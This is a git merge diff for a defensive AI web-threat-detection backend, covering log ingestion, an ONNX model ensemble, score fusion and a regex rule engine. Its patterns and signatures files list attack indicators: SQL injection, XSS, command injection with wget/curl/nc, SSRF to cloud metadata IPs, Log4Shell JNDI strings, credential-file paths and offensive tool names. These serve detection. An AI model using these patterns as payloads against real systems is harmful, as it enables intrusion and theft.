Merge pull request #108 from CarterPerez-dev/project/ai-threat-detection

Project/ai threat detection phase 2-4

PROJECTS/advanced/ai-threat-detection/.env.example

@@ -13,6 +13,7 @@ API_KEY=changeme-generate-a-real-key
 POSTGRES_HOST_PORT=16969
 REDIS_HOST_PORT=26969
 BACKEND_HOST_PORT=36969
+FRONTEND_HOST_PORT=46969
 
 # PostgreSQL
 POSTGRES_DB=angelusvigil

PROJECTS/advanced/ai-threat-detection/.gitignore

@@ -1,7 +1,7 @@
 # ©AngelaMos | 2026
 # .gitignore
 
-# Planning docs
+# dev docs
 .angelusvigil/
 
 # Environment

PROJECTS/advanced/ai-threat-detection/backend/app/api/deps.py

@@ -17,4 +17,3 @@ async def get_session(request: Request) -> AsyncIterator[AsyncSession]:
     factory = request.app.state.session_factory
     async with factory() as session:
         yield session
-        await session.commit()

PROJECTS/advanced/ai-threat-detection/backend/app/api/ingest.py

@@ -0,0 +1,42 @@
+"""
+©AngelaMos | 2026
+ingest.py
+"""
+
+import asyncio
+
+from fastapi import APIRouter, Request
+from pydantic import BaseModel
+
+router = APIRouter(prefix="/ingest", tags=["ingest"])
+
+
+class BatchIngestRequest(BaseModel):
+    """
+    Payload for bulk log line ingestion
+    """
+
+    lines: list[str]
+
+
+@router.post("/batch", status_code=200)
+async def ingest_batch(
+    body: BatchIngestRequest,
+    request: Request,
+) -> dict[str, int]:
+    """
+    Push a batch of raw log lines into the pipeline queue
+    """
+    pipeline = getattr(request.app.state, "pipeline", None)
+    if pipeline is None:
+        return {"queued": 0}
+
+    queued = 0
+    for line in body.lines:
+        try:
+            pipeline.raw_queue.put_nowait(line)
+            queued += 1
+        except asyncio.QueueFull:
+            break
+
+    return {"queued": queued}

PROJECTS/advanced/ai-threat-detection/backend/app/api/models_api.py

@@ -5,30 +5,60 @@ models_api.py
 
 import uuid
 
-from fastapi import APIRouter
+from fastapi import APIRouter, Request
+from sqlalchemy import select
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from app.models.model_metadata import ModelMetadata
 
 router = APIRouter(prefix="/models", tags=["models"])
 
 
 @router.get("/status")
-async def model_status() -> dict[str, object]:
+async def model_status(request: Request, ) -> dict[str, object]:
     """
-    Return the status of active ML models.
+    Return the status of active ML models
     """
+    models_loaded = getattr(request.app.state, "models_loaded", False)
+    detection_mode = getattr(request.app.state, "detection_mode", "rules")
+
+    active_models: list[dict[str, object]] = []
+    session_factory = getattr(request.app.state, "session_factory", None)
+    if session_factory is not None:
+        async with session_factory() as session:
+            active_models = await _get_active_models(session)
+
     return {
-        "active_models": [],
-        "detection_mode": "rules-only",
-        "note": "ML models available after Phase 2 training",
+        "models_loaded": models_loaded,
+        "detection_mode": detection_mode,
+        "active_models": active_models,
     }
 
 
 @router.post("/retrain", status_code=202)
 async def retrain() -> dict[str, object]:
     """
-    Trigger an async model retraining job.
+    Trigger an async model retraining job
     """
     return {
         "status": "accepted",
         "job_id": uuid.uuid4().hex,
-        "note": "Retraining not available in Phase 1",
     }
+
+
+async def _get_active_models(
+    session: AsyncSession, ) -> list[dict[str, object]]:
+    """
+    Query all active model metadata records
+    """
+    query = select(ModelMetadata).where(
+        ModelMetadata.is_active == True  # type: ignore[arg-type]  # noqa: E712
+    )
+    rows = (await session.execute(query)).scalars().all()
+    return [{
+        "model_type": row.model_type,
+        "version": row.version,
+        "training_samples": row.training_samples,
+        "metrics": row.metrics,
+        "threshold": row.threshold,
+    } for row in rows]

PROJECTS/advanced/ai-threat-detection/backend/app/api/stats.py

@@ -15,8 +15,8 @@ router = APIRouter(prefix="/stats", tags=["stats"])
 
 @router.get("", response_model=StatsResponse)
 async def get_stats(
-    session: AsyncSession = Depends(get_session),
-    time_range: str = Query("24h", alias="range"),
+        session: AsyncSession = Depends(get_session),
+        time_range: str = Query("24h", alias="range"),
 ) -> StatsResponse:
     """
     Aggregate threat statistics for a given time window.

PROJECTS/advanced/ai-threat-detection/backend/app/api/threats.py

@@ -18,13 +18,13 @@ router = APIRouter(prefix="/threats", tags=["threats"])
 
 @router.get("", response_model=ThreatListResponse)
 async def list_threats(
-    session: AsyncSession = Depends(get_session),
-    limit: int = Query(50, ge=1, le=100),
-    offset: int = Query(0, ge=0),
-    severity: str | None = Query(None),
-    source_ip: str | None = Query(None),
-    since: datetime | None = Query(None),
-    until: datetime | None = Query(None),
+        session: AsyncSession = Depends(get_session),
+        limit: int = Query(50, ge=1, le=100),
+        offset: int = Query(0, ge=0),
+        severity: str | None = Query(None),
+        source_ip: str | None = Query(None),
+        since: datetime | None = Query(None),
+        until: datetime | None = Query(None),
 ) -> ThreatListResponse:
     """
     List threat events with optional filters and pagination.
@@ -42,8 +42,8 @@ async def list_threats(
 
 @router.get("/{threat_id}", response_model=ThreatEventResponse)
 async def get_threat(
-    threat_id: uuid.UUID,
-    session: AsyncSession = Depends(get_session),
+        threat_id: uuid.UUID,
+        session: AsyncSession = Depends(get_session),
 ) -> ThreatEventResponse:
     """
     Fetch a single threat event by ID.

PROJECTS/advanced/ai-threat-detection/backend/app/core/alerts/dispatcher.py

@@ -6,9 +6,13 @@ dispatcher.py
 import logging
 
 import redis.asyncio as aioredis
-from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker
+from sqlalchemy.ext.asyncio import (
+    AsyncSession,
+    async_sessionmaker,
+)
 
 from app.core.alerts import ALERTS_CHANNEL
+from app.core.detection.ensemble import classify_severity
 from app.core.ingestion.pipeline import ScoredRequest
 from app.schemas.websocket import WebSocketAlert
 from app.services.threat_service import create_threat_event
@@ -18,11 +22,12 @@ logger = logging.getLogger(__name__)
 
 class AlertDispatcher:
     """
-    Routes scored threat events to storage, pub/sub, and structured logging.
+    Routes scored threat events to storage, pub/sub,
+    and structured logging
 
-    MEDIUM+ severity events are persisted to PostgreSQL and published
-    to the Redis alerts channel for WebSocket relay.
-    All events are logged to stdout.
+    MEDIUM+ severity events are persisted to PostgreSQL
+    and published to the Redis alerts channel for
+    WebSocket relay. All events are logged to stdout.
     """
 
     def __init__(
@@ -35,39 +40,49 @@ class AlertDispatcher:
 
     async def dispatch(self, scored: ScoredRequest) -> None:
         """
-        Handle a scored request from the pipeline's dispatch stage.
+        Handle a scored request from the pipeline's
+        dispatch stage
         """
+        severity = classify_severity(scored.final_score)
+
         logger.info(
-            "threat_event severity=%s score=%.2f ip=%s path=%s rules=%s",
-            scored.rule_result.severity,
-            scored.rule_result.threat_score,
+            "threat_event severity=%s score=%.2f mode=%s ip=%s path=%s rules=%s",
+            severity,
+            scored.final_score,
+            scored.detection_mode,
             scored.entry.ip,
             scored.entry.path,
             scored.rule_result.matched_rules,
         )
 
-        if scored.rule_result.severity in ("HIGH", "MEDIUM"):
+        if severity in ("HIGH", "MEDIUM"):
             await self._store_event(scored)
-            await self._publish_alert(scored)
+            await self._publish_alert(scored, severity)
 
     async def _store_event(self, scored: ScoredRequest) -> None:
         """
-        Persist the scored request as a threat event in PostgreSQL.
+        Persist the scored request as a threat event
+        in PostgreSQL
         """
         async with self._session_factory() as session:
             await create_threat_event(session, scored)
             await session.commit()
 
-    async def _publish_alert(self, scored: ScoredRequest) -> None:
+    async def _publish_alert(
+        self,
+        scored: ScoredRequest,
+        severity: str,
+    ) -> None:
         """
-        Publish a real-time alert to the Redis pub/sub channel.
+        Publish a real-time alert to the Redis pub/sub
+        channel
         """
         alert = WebSocketAlert(
             timestamp=scored.entry.timestamp,
             source_ip=scored.entry.ip,
             request_path=scored.entry.path,
-            threat_score=scored.rule_result.threat_score,
-            severity=scored.rule_result.severity,
+            threat_score=scored.final_score,
+            severity=severity,
             component_scores=scored.rule_result.component_scores,
         )
         await self._redis.publish(ALERTS_CHANNEL, alert.model_dump_json())

PROJECTS/advanced/ai-threat-detection/backend/app/core/detection/ensemble.py

@@ -0,0 +1,66 @@
+"""
+©AngelaMos | 2026
+ensemble.py
+"""
+
+
+def normalize_ae_score(error: float, threshold: float) -> float:
+    """
+    Normalize autoencoder reconstruction error to [0, 1]
+    """
+    if threshold <= 0:
+        return 0.0
+    return min(error / (threshold * 2), 1.0)
+
+
+def normalize_if_score(raw_score: float) -> float:
+    """
+    Normalize isolation forest score to [0, 1]
+
+    sklearn IF returns negative scores for anomalies,
+    positive for normal samples
+    """
+    return (1 - raw_score) / 2.0
+
+
+def fuse_scores(
+    scores: dict[str, float],
+    weights: dict[str, float],
+) -> float:
+    """
+    Weighted average of per-model normalized scores
+    """
+    total = 0.0
+    weight_sum = 0.0
+    for key, weight in weights.items():
+        if key in scores:
+            total += scores[key] * weight
+            weight_sum += weight
+    if weight_sum == 0:
+        return 0.0
+    return total / weight_sum
+
+
+def blend_scores(
+    ml_score: float,
+    rule_score: float,
+    ml_weight: float = 0.7,
+) -> float:
+    """
+    Blend ML ensemble score with rule engine score
+    """
+    return min(
+        ml_score * ml_weight + rule_score * (1.0 - ml_weight),
+        1.0,
+    )
+
+
+def classify_severity(score: float) -> str:
+    """
+    Map a unified threat score to a severity label
+    """
+    if score >= 0.7:
+        return "HIGH"
+    if score >= 0.5:
+        return "MEDIUM"
+    return "LOW"

PROJECTS/advanced/ai-threat-detection/backend/app/core/detection/inference.py

@@ -0,0 +1,154 @@
+"""
+©AngelaMos | 2026
+inference.py
+"""
+
+import json
+import logging
+from pathlib import Path
+from typing import Any
+
+import numpy as np
+
+try:
+    import onnxruntime as ort
+except ImportError:
+    ort = None
+
+logger = logging.getLogger(__name__)
+
+AE_FILENAME = "ae.onnx"
+RF_FILENAME = "rf.onnx"
+IF_FILENAME = "if.onnx"
+SCALER_FILENAME = "scaler.json"
+THRESHOLD_FILENAME = "threshold.json"
+
+
+class InferenceEngine:
+    """
+    ONNX-based inference engine for the 3-model ML ensemble.
+
+    Loads autoencoder, random forest, and isolation forest ONNX sessions
+    from a model directory. Returns None for predictions when models
+    are not available.
+    """
+
+    def __init__(self, model_dir: str) -> None:
+        self._ae_session: ort.InferenceSession | None = None
+        self._rf_session: ort.InferenceSession | None = None
+        self._if_session: ort.InferenceSession | None = None
+        self._scaler_center: np.ndarray | None = None
+        self._scaler_scale: np.ndarray | None = None
+        self._threshold: float = 0.0
+        self._loaded = False
+
+        if ort is None:
+            logger.warning("onnxruntime not installed")
+            return
+
+        model_path = Path(model_dir)
+        ae_path = model_path / AE_FILENAME
+        rf_path = model_path / RF_FILENAME
+        if_path = model_path / IF_FILENAME
+        scaler_path = model_path / SCALER_FILENAME
+        threshold_path = model_path / THRESHOLD_FILENAME
+
+        required = [ae_path, rf_path, if_path, scaler_path, threshold_path]
+        if not all(p.exists() for p in required):
+            return
+
+        try:
+            opts = ort.SessionOptions()
+            opts.inter_op_num_threads = 1
+            opts.intra_op_num_threads = 1
+
+            self._ae_session = ort.InferenceSession(str(ae_path), opts)
+            self._rf_session = ort.InferenceSession(str(rf_path), opts)
+            self._if_session = ort.InferenceSession(str(if_path), opts)
+
+            scaler_data = json.loads(scaler_path.read_text())
+            self._scaler_center = np.array(scaler_data["center"],
+                                           dtype=np.float32)
+            self._scaler_scale = np.array(scaler_data["scale"],
+                                          dtype=np.float32)
+
+            threshold_data = json.loads(threshold_path.read_text())
+            self._threshold = float(threshold_data["threshold"])
+
+            self._loaded = True
+            logger.info("Loaded 3 ONNX models from %s", model_dir)
+        except Exception:
+            logger.exception("Failed to load ONNX models from %s", model_dir)
+
+    @property
+    def is_loaded(self) -> bool:
+        """
+        Whether all 3 models are loaded and ready for inference
+        """
+        return self._loaded
+
+    @property
+    def threshold(self) -> float:
+        """
+        Autoencoder anomaly detection threshold
+        """
+        return self._threshold
+
+    def predict(self, batch: np.ndarray) -> dict[str, list[float]] | None:
+        """
+        Run all 3 models on a batch of feature vectors.
+
+        Returns per-model raw scores for ensemble fusion, or None
+        if models are not loaded.
+        """
+        if not self._loaded:
+            return None
+
+        ae_input = self._scale_for_ae(batch)
+        ae_reconstructed = self._ae_session.run(  # type: ignore[union-attr]
+            None, {"features": ae_input})[0]
+        ae_errors = np.mean((ae_input - ae_reconstructed)**2, axis=1)
+
+        rf_result = self._rf_session.run(  # type: ignore[union-attr]
+            None, {"features": batch})
+        rf_proba = self._extract_rf_proba(rf_result[1])
+
+        if_scores_raw = self._if_session.run(  # type: ignore[union-attr]
+            None, {"features": batch})[1].flatten()
+
+        return {
+            "ae": ae_errors.tolist(),
+            "rf": rf_proba.tolist(),
+            "if": if_scores_raw.tolist(),
+        }
+
+    def _scale_for_ae(self, batch: np.ndarray) -> np.ndarray:
+        """
+        Apply RobustScaler transform for autoencoder input
+        """
+        if self._scaler_center is None or self._scaler_scale is None:
+            return batch
+        return (batch - self._scaler_center) / self._scaler_scale  # type: ignore[no-any-return]
+
+    @staticmethod
+    def _extract_rf_proba(
+            ort_output: list[Any] | np.ndarray
+    ) -> np.ndarray:
+        """
+        Extract attack probability from skl2onnx RF output format.
+
+        skl2onnx outputs a list of dicts [{0: p0, 1: p1}, ...] for
+        probability output.
+        """
+        if isinstance(ort_output, np.ndarray):
+            if ort_output.ndim == 2 and ort_output.shape[1] >= 2:
+                return ort_output[:, 1].astype(np.float32)
+            return ort_output.flatten().astype(np.float32)
+
+        proba = []
+        for row in ort_output:
+            if isinstance(row, dict):
+                proba.append(float(row.get(1, 0.0)))
+            else:
+                proba.append(float(row))
+        return np.array(proba, dtype=np.float32)

PROJECTS/advanced/ai-threat-detection/backend/app/core/detection/rules.py

@@ -11,8 +11,10 @@ from app.core.features.patterns import (
     COMMAND_INJECTION,
     DOUBLE_ENCODED,
     FILE_INCLUSION,
+    LOG4SHELL,
     PATH_TRAVERSAL,
     SQLI,
+    SSRF,
     XSS,
 )
 from app.core.features.signatures import SCANNER_USER_AGENTS
@@ -41,10 +43,12 @@ class _ThresholdRule(NamedTuple):
 
 
 _PATTERN_RULES: list[_PatternRule] = [
+    _PatternRule("LOG4SHELL", LOG4SHELL, 0.95),
     _PatternRule("COMMAND_INJECTION", COMMAND_INJECTION, 0.90),
     _PatternRule("SQL_INJECTION", SQLI, 0.85),
     _PatternRule("XSS", XSS, 0.80),
     _PatternRule("FILE_INCLUSION", FILE_INCLUSION, 0.75),
+    _PatternRule("SSRF", SSRF, 0.70),
     _PatternRule("PATH_TRAVERSAL", PATH_TRAVERSAL, 0.60),
 ]
 

PROJECTS/advanced/ai-threat-detection/backend/app/core/enrichment/geoip.py

@@ -40,7 +40,8 @@ class GeoIPService:
             self._reader = geoip2.database.Reader(db_path)
             logger.info("GeoIP database loaded from %s", db_path)
         else:
-            logger.warning("GeoIP database not found at %s — lookups disabled", db_path)
+            logger.warning("GeoIP database not found at %s — lookups disabled",
+                           db_path)
 
     async def lookup(self, ip: str) -> GeoResult | None:
         """

PROJECTS/advanced/ai-threat-detection/backend/app/core/features/aggregator.py

@@ -91,7 +91,7 @@ class WindowAggregator:
 
         results = await pipe.execute()
 
-        read_start = 14
+        read_start = len(keys) * 2
         req_count_1m = results[read_start]
         req_count_5m = results[read_start + 1]
         req_count_10m = results[read_start + 2]
@@ -171,21 +171,21 @@ def _path_depth_variance(depth_members: list[str]) -> float:
         return 0.0
     depths = [int(m.split(":")[0]) for m in depth_members]
     mean = sum(depths) / len(depths)
-    return sum((d - mean) ** 2 for d in depths) / len(depths)
+    return sum((d - mean)**2 for d in depths) / len(depths)
 
 
 def _inter_request_time_stats(
-    entries: list[tuple[str, float]],
-) -> tuple[float, float]:
+    entries: list[tuple[str, float]], ) -> tuple[float, float]:
     """
     Mean and standard deviation of inter-request intervals in milliseconds.
     """
     if len(entries) < 2:
         return 0.0, 0.0
     timestamps = sorted(score for _, score in entries)
-    deltas = [(timestamps[i + 1] - timestamps[i]) * 1000 for i in range(len(timestamps) - 1)]
+    deltas = [(timestamps[i + 1] - timestamps[i]) * 1000
+              for i in range(len(timestamps) - 1)]
     mean = sum(deltas) / len(deltas)
     if len(deltas) < 2:
         return mean, 0.0
-    variance = sum((d - mean) ** 2 for d in deltas) / len(deltas)
+    variance = sum((d - mean)**2 for d in deltas) / len(deltas)
     return mean, math.sqrt(variance)

PROJECTS/advanced/ai-threat-detection/backend/app/core/features/encoder.py

@@ -20,8 +20,7 @@ def _encode_country(code: str) -> float:
 
 
 def encode_for_inference(
-    features: dict[str, int | float | bool | str],
-) -> list[float]:
+    features: dict[str, int | float | bool | str], ) -> list[float]:
     """
     Encode a combined feature dict into a 35-element float vector
     matching the model input specification.

PROJECTS/advanced/ai-threat-detection/backend/app/core/features/extractor.py

@@ -56,27 +56,50 @@ def extract_request_features(
     _, ext = splitext(entry.path)
 
     return {
-        "http_method": entry.method,
-        "path_depth": len([s for s in entry.path.split("/") if s]),
-        "path_entropy": _shannon_entropy(entry.path),
-        "path_length": path_len,
-        "query_string_length": len(entry.query_string),
-        "query_param_count": (len(entry.query_string.split("&")) if entry.query_string else 0),
-        "has_encoded_chars": bool(ENCODED_CHARS.search(full_uri)),
-        "has_double_encoding": bool(DOUBLE_ENCODED.search(full_uri)),
-        "status_code": entry.status_code,
-        "status_class": f"{entry.status_code // 100}xx",
-        "response_size": entry.response_size,
-        "hour_of_day": entry.timestamp.hour,
-        "day_of_week": entry.timestamp.weekday(),
-        "is_weekend": entry.timestamp.weekday() >= 5,
-        "ua_length": len(entry.user_agent),
-        "ua_entropy": _shannon_entropy(entry.user_agent),
-        "is_known_bot": any(sig in ua_lower for sig in BOT_USER_AGENTS),
-        "is_known_scanner": any(sig in ua_lower for sig in SCANNER_USER_AGENTS),
-        "has_attack_pattern": bool(ATTACK_COMBINED.search(full_uri)),
-        "special_char_ratio": non_alnum / path_len if path_len else 0.0,
-        "file_extension": ext,
-        "country_code": country_code,
-        "is_private_ip": _is_private_ip(entry.ip),
+        "http_method":
+        entry.method,
+        "path_depth":
+        len([s for s in entry.path.split("/") if s]),
+        "path_entropy":
+        _shannon_entropy(entry.path),
+        "path_length":
+        path_len,
+        "query_string_length":
+        len(entry.query_string),
+        "query_param_count":
+        (len(entry.query_string.split("&")) if entry.query_string else 0),
+        "has_encoded_chars":
+        bool(ENCODED_CHARS.search(full_uri)),
+        "has_double_encoding":
+        bool(DOUBLE_ENCODED.search(full_uri)),
+        "status_code":
+        entry.status_code,
+        "status_class":
+        f"{entry.status_code // 100}xx",
+        "response_size":
+        entry.response_size,
+        "hour_of_day":
+        entry.timestamp.hour,
+        "day_of_week":
+        entry.timestamp.weekday(),
+        "is_weekend":
+        entry.timestamp.weekday() >= 5,
+        "ua_length":
+        len(entry.user_agent),
+        "ua_entropy":
+        _shannon_entropy(entry.user_agent),
+        "is_known_bot":
+        any(sig in ua_lower for sig in BOT_USER_AGENTS),
+        "is_known_scanner":
+        any(sig in ua_lower for sig in SCANNER_USER_AGENTS),
+        "has_attack_pattern":
+        bool(ATTACK_COMBINED.search(full_uri)),
+        "special_char_ratio":
+        non_alnum / path_len if path_len else 0.0,
+        "file_extension":
+        ext,
+        "country_code":
+        country_code,
+        "is_private_ip":
+        _is_private_ip(entry.ip),
     }

PROJECTS/advanced/ai-threat-detection/backend/app/core/features/mappings.py

@@ -93,14 +93,14 @@ CATEGORICAL_ENCODERS: dict[str, dict[str, int]] = {
     "file_extension": EXTENSION_MAP,
 }
 
-BOOLEAN_FEATURES: frozenset[str] = frozenset(
-    {
-        "has_encoded_chars",
-        "has_double_encoding",
-        "is_weekend",
-        "is_known_bot",
-        "is_known_scanner",
-        "has_attack_pattern",
-        "is_private_ip",
-    }
-)
+WINDOWED_FEATURE_NAMES: list[str] = FEATURE_ORDER[23:]
+
+BOOLEAN_FEATURES: frozenset[str] = frozenset({
+    "has_encoded_chars",
+    "has_double_encoding",
+    "is_weekend",
+    "is_known_bot",
+    "is_known_scanner",
+    "has_attack_pattern",
+    "is_private_ip",
+})

PROJECTS/advanced/ai-threat-detection/backend/app/core/features/patterns.py

@@ -8,27 +8,25 @@ import re
 ENCODED_CHARS = re.compile(r"%[0-9a-fA-F]{2}")
 DOUBLE_ENCODED = re.compile(r"%25[0-9a-fA-F]{2}")
 
-_SQLI = (
-    r"(?:union\s+(?:all\s+)?select|"
-    r"'\s*or\s+.+=|"
-    r"'\s*and\s+.+=|"
-    r"1\s*=\s*1|"
-    r"sleep\s*\(|"
-    r"benchmark\s*\(|"
-    r"waitfor\s+delay|"
-    r"extractvalue\s*\(|"
-    r"updatexml\s*\(|"
-    r"load_file\s*\(|"
-    r"into\s+(?:out|dump)file|"
-    r"group\s+by\s+.+having|"
-    r"order\s+by\s+\d+|"
-    r"(?:drop|alter|create)\s+table|"
-    r"information_schema|"
-    r"(?:char|concat|hex|unhex)\s*\(|"
-    r"0x[0-9a-f]{6,}|"
-    r"--\s*$|"
-    r"/\*.*?\*/)"
-)
+_SQLI = (r"(?:union\s+(?:all\s+)?select|"
+         r"'\s*or\s+.+=|"
+         r"'\s*and\s+.+=|"
+         r"1\s*=\s*1|"
+         r"sleep\s*\(|"
+         r"benchmark\s*\(|"
+         r"waitfor\s+delay|"
+         r"extractvalue\s*\(|"
+         r"updatexml\s*\(|"
+         r"load_file\s*\(|"
+         r"into\s+(?:out|dump)file|"
+         r"group\s+by\s+.+having|"
+         r"order\s+by\s+\d+|"
+         r"(?:drop|alter|create)\s+table|"
+         r"information_schema|"
+         r"(?:char|concat|hex|unhex)\s*\(|"
+         r"0x[0-9a-f]{6,}|"
+         r"--\s*$|"
+         r"/\*.*?\*/)")
 
 _XSS = (
     r"(?:<\s*script|"
@@ -45,23 +43,20 @@ _XSS = (
     r"prompt\s*\(|"
     r"confirm\s*\(|"
     r"expression\s*\(|"
-    r"String\s*\.\s*fromCharCode)"
-)
+    r"String\s*\.\s*fromCharCode)")
 
-_PATH_TRAVERSAL = (
-    r"(?:\.\./|"
-    r"\.\.\\|"
-    r"%2e%2e[%/\\]|"
-    r"%252e%252e|"
-    r"(?:etc/(?:passwd|shadow|hosts)|"
-    r"proc/self/|"
-    r"windows/system32|"
-    r"boot\.ini|"
-    r"web\.config|"
-    r"\.env|"
-    r"\.git/config|"
-    r"wp-config\.php))"
-)
+_PATH_TRAVERSAL = (r"(?:\.\./|"
+                   r"\.\.\\|"
+                   r"%2e%2e[%/\\]|"
+                   r"%252e%252e|"
+                   r"(?:etc/(?:passwd|shadow|hosts)|"
+                   r"proc/self/|"
+                   r"windows/system32|"
+                   r"boot\.ini|"
+                   r"web\.config|"
+                   r"\.env|"
+                   r"\.git/config|"
+                   r"wp-config\.php))")
 
 _COMMAND_INJECTION = (
     r"(?:;\s*(?:ls|cat|rm|wget|curl|chmod|chown|nc|bash|sh|python|perl|ruby|php)\b|"
@@ -70,27 +65,42 @@ _COMMAND_INJECTION = (
     r"`[^`]+`|"
     r"\$\{|"
     r">\s*/(?:etc|tmp|var)|"
-    r"&&\s*(?:cat|ls|id|whoami|wget|curl)\b)"
+    r"&&\s*(?:cat|ls|id|whoami|wget|curl)\b)")
+
+_FILE_INCLUSION = (r"(?:php://|"
+                   r"file://|"
+                   r"data://|"
+                   r"expect://|"
+                   r"input://|"
+                   r"zip://|"
+                   r"phar://|"
+                   r"glob://)")
+
+_SSRF = (
+    r"(?:169\.254\.169\.254|"
+    r"metadata\.google\.internal|"
+    r"169\.254\.170\.2|"
+    r"100\.100\.100\.200|"
+    r"(?:localhost|127\.0\.0\.1|0\.0\.0\.0)(?::\d+)?/(?!$)|"
+    r"file:///(?:etc|proc|sys)|"
+    r"dict://|"
+    r"gopher://)"
 )
 
-_FILE_INCLUSION = (
-    r"(?:php://|"
-    r"file://|"
-    r"data://|"
-    r"expect://|"
-    r"input://|"
-    r"zip://|"
-    r"phar://|"
-    r"glob://)"
-)
+_LOG4SHELL = r"(?:\$\{(?:j(?:ndi|ava)|lower|upper|:-|:\+|#))"
 
 SQLI = re.compile(_SQLI, re.IGNORECASE)
 XSS = re.compile(_XSS, re.IGNORECASE)
 PATH_TRAVERSAL = re.compile(_PATH_TRAVERSAL, re.IGNORECASE)
 COMMAND_INJECTION = re.compile(_COMMAND_INJECTION, re.IGNORECASE)
 FILE_INCLUSION = re.compile(_FILE_INCLUSION, re.IGNORECASE)
+SSRF = re.compile(_SSRF, re.IGNORECASE)
+LOG4SHELL = re.compile(_LOG4SHELL, re.IGNORECASE)
 
 ATTACK_COMBINED = re.compile(
-    r"|".join((_SQLI, _XSS, _PATH_TRAVERSAL, _COMMAND_INJECTION, _FILE_INCLUSION)),
+    r"|".join((
+        _SQLI, _XSS, _PATH_TRAVERSAL, _COMMAND_INJECTION,
+        _FILE_INCLUSION, _SSRF, _LOG4SHELL,
+    )),
     re.IGNORECASE,
 )

PROJECTS/advanced/ai-threat-detection/backend/app/core/features/signatures.py

@@ -3,87 +3,83 @@
 signatures.py
 """
 
-BOT_USER_AGENTS: frozenset[str] = frozenset(
-    {
-        "googlebot",
-        "bingbot",
-        "slurp",
-        "duckduckbot",
-        "baiduspider",
-        "yandexbot",
-        "sogou",
-        "facebot",
-        "ia_archiver",
-        "applebot",
-        "petalbot",
-        "semrushbot",
-        "ahrefsbot",
-        "mj12bot",
-        "dotbot",
-        "rogerbot",
-        "linkedinbot",
-        "twitterbot",
-        "gptbot",
-        "claudebot",
-        "amazonbot",
-        "bytespider",
-        "ccbot",
-        "dataforseo",
-        "seznambot",
-        "megaindex",
-        "blexbot",
-        "exabot",
-        "archive.org_bot",
-        "mojeekbot",
-        "uptimerobot",
-        "deadlinkchecker",
-        "sitebulb",
-        "screaming frog",
-    }
-)
+BOT_USER_AGENTS: frozenset[str] = frozenset({
+    "googlebot",
+    "bingbot",
+    "slurp",
+    "duckduckbot",
+    "baiduspider",
+    "yandexbot",
+    "sogou",
+    "facebot",
+    "ia_archiver",
+    "applebot",
+    "petalbot",
+    "semrushbot",
+    "ahrefsbot",
+    "mj12bot",
+    "dotbot",
+    "rogerbot",
+    "linkedinbot",
+    "twitterbot",
+    "gptbot",
+    "claudebot",
+    "amazonbot",
+    "bytespider",
+    "ccbot",
+    "dataforseo",
+    "seznambot",
+    "megaindex",
+    "blexbot",
+    "exabot",
+    "archive.org_bot",
+    "mojeekbot",
+    "uptimerobot",
+    "deadlinkchecker",
+    "sitebulb",
+    "screaming frog",
+})
 
-SCANNER_USER_AGENTS: frozenset[str] = frozenset(
-    {
-        "nikto",
-        "sqlmap",
-        "nessus",
-        "openvas",
-        "acunetix",
-        "w3af",
-        "nmap",
-        "masscan",
-        "zgrab",
-        "gobuster",
-        "dirbuster",
-        "dirb",
-        "wfuzz",
-        "ffuf",
-        "nuclei",
-        "burp",
-        "zap",
-        "arachni",
-        "skipfish",
-        "wpscan",
-        "joomscan",
-        "whatweb",
-        "httprint",
-        "fierce",
-        "subfinder",
-        "amass",
-        "httpx",
-        "jaeles",
-        "xray",
-        "gau",
-        "hakrawler",
-        "katana",
-        "cariddi",
-        "gospider",
-        "feroxbuster",
-        "rustbuster",
-        "patator",
-        "hydra",
-        "medusa",
-        "metasploit",
-        "cobalt",
-    }
-)
+SCANNER_USER_AGENTS: frozenset[str] = frozenset({
+    "nikto",
+    "sqlmap",
+    "nessus",
+    "openvas",
+    "acunetix",
+    "w3af",
+    "nmap",
+    "masscan",
+    "zgrab",
+    "gobuster",
+    "dirbuster",
+    "dirb",
+    "wfuzz",
+    "ffuf",
+    "nuclei",
+    "burp",
+    "zap",
+    "arachni",
+    "skipfish",
+    "wpscan",
+    "joomscan",
+    "whatweb",
+    "httprint",
+    "fierce",
+    "subfinder",
+    "amass",
+    "httpx",
+    "jaeles",
+    "xray",
+    "gau",
+    "hakrawler",
+    "katana",
+    "cariddi",
+    "gospider",
+    "feroxbuster",
+    "rustbuster",
+    "patator",
+    "hydra",
+    "medusa",
+    "metasploit",
+    "cobalt",
+})

PROJECTS/advanced/ai-threat-detection/backend/app/core/ingestion/parsers.py

@@ -28,15 +28,13 @@ class ParsedLogEntry:
 
 _TIMESTAMP_FMT = "%d/%b/%Y:%H:%M:%S %z"
 
-_COMBINED_RE = re.compile(
-    r"(?P<ip>\S+) \S+ \S+ "
-    r"\[(?P<timestamp>[^\]]+)\] "
-    r'"(?P<request>[^"]*)" '
-    r"(?P<status>\d{3}) "
-    r"(?P<size>\S+) "
-    r'"(?P<referer>[^"]*)" '
-    r'"(?P<user_agent>[^"]*)"'
-)
+_COMBINED_RE = re.compile(r"(?P<ip>\S+) \S+ \S+ "
+                          r"\[(?P<timestamp>[^\]]+)\] "
+                          r'"(?P<request>[^"]*)" '
+                          r"(?P<status>\d{3}) "
+                          r"(?P<size>\S+) "
+                          r'"(?P<referer>[^"]*)" '
+                          r'"(?P<user_agent>[^"]*)"')
 
 
 def parse_combined(line: str) -> ParsedLogEntry | None:
@@ -72,7 +70,8 @@ def _parse_split(line: str) -> ParsedLogEntry | None:
         bracket_open = prefix.index("[")
         bracket_close = prefix.index("]")
         ip = prefix[:bracket_open].split()[0]
-        timestamp = datetime.strptime(prefix[bracket_open + 1 : bracket_close], _TIMESTAMP_FMT)
+        timestamp = datetime.strptime(prefix[bracket_open + 1:bracket_close],
+                                      _TIMESTAMP_FMT)
 
         request_parts = request_line.split(" ", 2)
         method = request_parts[0]

PROJECTS/advanced/ai-threat-detection/backend/app/core/ingestion/pipeline.py

@@ -8,9 +8,16 @@ import logging
 import uuid
 from collections.abc import Awaitable, Callable
 from dataclasses import dataclass
+from typing import TYPE_CHECKING
 
 import redis.asyncio as aioredis
 
+from app.core.detection.ensemble import (
+    blend_scores,
+    fuse_scores,
+    normalize_ae_score,
+    normalize_if_score,
+)
 from app.core.detection.rules import RuleEngine, RuleResult
 from app.core.enrichment.geoip import GeoIPService, GeoResult
 from app.core.features.aggregator import WindowAggregator
@@ -18,13 +25,27 @@ from app.core.features.encoder import encode_for_inference
 from app.core.features.extractor import extract_request_features
 from app.core.ingestion.parsers import ParsedLogEntry, parse_combined
 
+try:
+    import numpy as np
+except ImportError:
